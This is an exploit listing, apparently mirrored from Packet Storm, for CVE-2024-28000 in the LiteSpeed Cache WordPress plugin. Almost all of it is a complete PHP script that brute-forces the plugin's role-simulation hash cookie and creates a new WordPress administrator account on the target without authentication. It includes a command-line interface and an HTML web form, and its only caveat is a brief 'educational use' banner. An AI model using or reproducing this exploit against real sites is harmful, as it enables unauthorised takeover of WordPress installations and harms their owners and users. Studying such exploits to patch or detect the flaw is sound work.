Share
## https://sploitus.com/exploit?id=PACKETSTORM:213294
=============================================================================================================================================
| # Title : Litespeed Cache 6.4.0.1 Insufficient Hash Validation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.litespeedtech.com/products/cache-plugins |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/200819/ & CVE-2024-28000
[+] Summary :
Critical unauthenticated privilege escalation vulnerability in LiteSpeed Cache WordPress plugin (versions 6.4.0.1)
allowing attackers to brute-force authentication hashes and create administrative users without any initial credentials.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* LiteSpeed Cache 6.4.0.1 - Privilege Escalation
* by indoushka
*/
class LiteSpeedPrivEsc {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
private $admin_user_id;
private $new_username;
private $new_user_password;
public function __construct($target, $port = 80, $ssl = false, $base_path = '/', $admin_user_id = '1', $new_username = 'newadmin', $new_user_password = 'AdminPass123!') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
$this->admin_user_id = $admin_user_id;
$this->new_username = $new_username;
$this->new_user_password = $new_user_password;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking LiteSpeed Cache vulnerability...\n";
// Check if WordPress REST API is accessible
$res = $this->send_request('/wp-json/wp/v2/users');
if (!$res || $res['code'] != 200) {
echo "[-] WordPress REST API not accessible\n";
return "unknown";
}
echo "[+] WordPress REST API detected\n";
// Try to trigger hash generation
if ($this->trigger_hash_generation()) {
echo "[+] Hash generation endpoint accessible\n";
// Test with a random hash
$test_hash = $this->generate_random_string(6);
$test_result = $this->test_hash($test_hash);
if ($test_result === 'unauthorized') {
echo "[+] Hash validation is active\n";
echo "[+] Target appears to be vulnerable\n";
return "vulnerable";
} else {
echo "[-] Hash validation not working as expected\n";
return "unknown";
}
}
echo "[-] Cannot trigger hash generation\n";
return "safe";
}
/**
* Trigger hash generation via AJAX
*/
private function trigger_hash_generation() {
$data = [
'action' => 'async_litespeed',
'litespeed_type' => 'crawler'
];
$res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], http_build_query($data));
return $res && $res['code'] == 200;
}
/**
* Test a specific hash value
*/
private function test_hash($hash_value) {
$cookies = [
'litespeed_hash' => $hash_value,
'litespeed_role' => $this->admin_user_id
];
$res = $this->send_request('/wp-json/wp/v2/users', 'POST', [], null, [], $cookies);
if (!$res) {
return 'error';
}
if ($res['code'] == 201) {
return 'success';
} elseif ($res['code'] == 401) {
return 'unauthorized';
} else {
return 'unknown';
}
}
/**
* Generate random string
*/
private function generate_random_string($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}
/**
* Create admin user with valid hash
*/
private function create_admin_user($hash_value) {
$cookies = [
'litespeed_hash' => $hash_value,
'litespeed_role' => $this->admin_user_id
];
$user_data = [
'username' => $this->new_username,
'password' => $this->new_user_password,
'email' => $this->new_username . '@example.com',
'roles' => ['administrator']
];
$json_data = json_encode($user_data);
$headers = [
'Content-Type: application/json',
'Content-Length: ' . strlen($json_data)
];
$res = $this->send_request('/wp-json/wp/v2/users', 'POST', [], $json_data, $headers, $cookies);
if ($res && $res['code'] == 201) {
echo "[+] โ Admin user created successfully!\n";
echo "[+] Username: {$this->new_username}\n";
echo "[+] Password: {$this->new_user_password}\n";
return true;
} else {
echo "[-] Failed to create admin user\n";
if ($res) {
echo "[-] HTTP Code: {$res['code']}\n";
echo "[-] Response: {$res['body']}\n";
}
return false;
}
}
/**
* Brute force hash values
*/
public function brute_force_hashes($max_attempts = 10000, $workers = 5) {
echo "[*] Starting hash brute force...\n";
echo "[*] Attempts: $max_attempts, Workers: $workers\n";
// Trigger hash generation first
$this->trigger_hash_generation();
$found = false;
$attempts = 0;
for ($i = 0; $i < $max_attempts && !$found; $i++) {
$hash = $this->generate_random_string(6);
if ($i % 100 == 0) {
echo "[*] Attempt $i: Testing hash: $hash\n";
}
$result = $this->test_hash($hash);
if ($result === 'success') {
echo "[+] โ Valid hash found: $hash\n";
echo "[*] Creating admin user...\n";
if ($this->create_admin_user($hash)) {
$found = true;
return true;
}
}
$attempts++;
}
echo "[-] No valid hash found after $attempts attempts\n";
return false;
}
/**
* Execute full exploit
*/
public function exploit($max_attempts = 10000) {
echo "[*] Starting LiteSpeed Cache privilege escalation...\n";
// Step 1: Check vulnerability
$status = $this->check();
if ($status !== "vulnerable") {
echo "[-] Target does not appear to be vulnerable\n";
return false;
}
echo "[*] Target is vulnerable, proceeding with exploitation...\n";
// Step 2: Brute force hashes
if ($this->brute_force_hashes($max_attempts)) {
echo "[+] โ Privilege escalation completed successfully\n";
return true;
} else {
echo "[-] Privilege escalation failed\n";
return false;
}
}
/**
* Send HTTP request
*/
private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $cookies = []) {
$url = $this->build_url($path);
if ($method == 'GET' && !empty($params)) {
$url .= '?' . http_build_query($params);
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_HEADER => false,
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_FOLLOWLOCATION => false
]);
// Add POST data if provided
if ($method == 'POST' && $data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
// Build headers
$headers = array_merge([
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
], $custom_headers);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Add cookies if provided
if (!empty($cookies)) {
$cookie_string = '';
foreach ($cookies as $name => $value) {
$cookie_string .= "{$name}={$value}; ";
}
curl_setopt($ch, CURLOPT_COOKIE, $cookie_string);
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false) {
return [
'code' => $http_code,
'body' => $response
];
}
return false;
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ LiteSpeed Cache Privilege Escalation โ
โ CVE-2024-28000 โ
โ PHP Implementation โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
\n";
$options = getopt("t:p:s:u:cU:P:a:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"username:",
"password:",
"attempts:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 80;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$username = $options['U'] ?? $options['username'] ?? 'newadmin';
$password = $options['P'] ?? $options['password'] ?? 'AdminPass123!';
$attempts = $options['a'] ?? $options['attempts'] ?? 10000;
if (!$target) {
echo "Usage: php litespeed_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 80)\n";
echo " -s, --ssl Use SSL (default: false)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -U, --username New admin username (default: newadmin)\n";
echo " -P, --password New admin password (default: AdminPass123!)\n";
echo " -a, --attempts Brute force attempts (default: 10000)\n";
echo "\nExamples:\n";
echo " php litespeed_exploit.php -t 192.168.1.100 -c\n";
echo " php litespeed_exploit.php -t wordpress.example.com -U myadmin -P MySecurePass123 -a 50000\n";
exit(1);
}
$exploit = new LiteSpeedPrivEsc($target, $port, $ssl, $base_uri, '1', $username, $password);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($attempts)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 80;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$username = $_POST['username'] ?? 'newadmin';
$password = $_POST['password'] ?? 'AdminPass123!';
$attempts = $_POST['attempts'] ?? 10000;
if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new LiteSpeedPrivEsc($target, $port, $ssl, $base_uri, '1', $username, $password);
ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($attempts);
}
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>LiteSpeed Cache Privilege Escalation - CVE-2024-28000</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
h3 {
color: #666;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], input[type="password"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #005a87;
}
.danger {
background: #dc3545;
}
.danger:hover {
background: #c82333;
}
.info {
background: #17a2b8;
}
.info:hover {
background: #138496;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>LiteSpeed Cache Privilege Escalation</h1>
<h3>CVE-2024-28000 - Hash Brute Force to Admin Access</h3>
<div class="warning-box">
<strong>โ ๏ธ Educational Use Only:</strong> This tool demonstrates a privilege escalation vulnerability in LiteSpeed Cache.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or wordpress.example.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="80">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl">
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>
<div class="form-group">
<label for="username">New Admin Username:</label>
<input type="text" id="username" name="username" value="newadmin">
</div>
<div class="form-group">
<label for="password">New Admin Password:</label>
<input type="password" id="password" name="password" value="AdminPass123!">
</div>
<div class="form-group">
<label for="attempts">Brute Force Attempts:</label>
<input type="text" id="attempts" name="attempts" value="10000">
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>
<div class="info-box">
<h3>About CVE-2024-28000:</h3>
<p><strong>Vulnerability:</strong> Insufficient hash validation leading to privilege escalation</p>
<p><strong>Affected Versions:</strong> LiteSpeed Cache โค 6.4.0.1</p>
<p><strong>Authentication:</strong> None required for initial access</p>
<p><strong>Endpoint:</strong> /wp-admin/admin-ajax.php & /wp-json/wp/v2/users</p>
<p><strong>Attack:</strong> Hash brute force to create admin user</p>
<p><strong>Impact:</strong> Privilege escalation to WordPress administrator</p>
<p><strong>Exploit Chain:</strong> Trigger Hash โ Brute Force โ Create Admin User</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================